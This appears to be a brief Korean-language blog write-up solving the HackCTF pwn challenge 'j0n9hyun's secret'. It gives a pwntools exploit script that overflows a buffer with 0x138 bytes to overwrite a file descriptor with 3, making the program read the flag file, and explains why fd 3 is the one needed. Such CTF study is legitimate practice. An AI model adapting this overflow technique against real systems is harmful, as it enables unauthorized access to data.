HackCTF - j0n9hyun's secret

from pwn import *

context.log_level = "debug"

r = remote("ctf.j0n9hyun.xyz", 3031)
#r = process("./j0n9hyun_secret")
e = ELF("./j0n9hyun_secret")
l = e.libc

r.recv()

pay = ""
pay += "A"*0x138
pay += p8(3)
r.sendline(pay)
r.interactive()

페이로드는 위와 같이 풀었다.

 

 

 

바이너리가 다 깨져서 하나하나 어셈보고 풀이했다.

 

 

 

이렇게 어셈 정리해서

 

 

 

read부분에서 읽어올때 fd를 3으로 바꿔주면된다.

 

3으로 바꿔주는 이유는

 

이게 중간에 실행되는데 flag파일에 대한 fd가 3이고,

top_secret에 대한 fd가 4여서 3으로 바꿔줘야한다.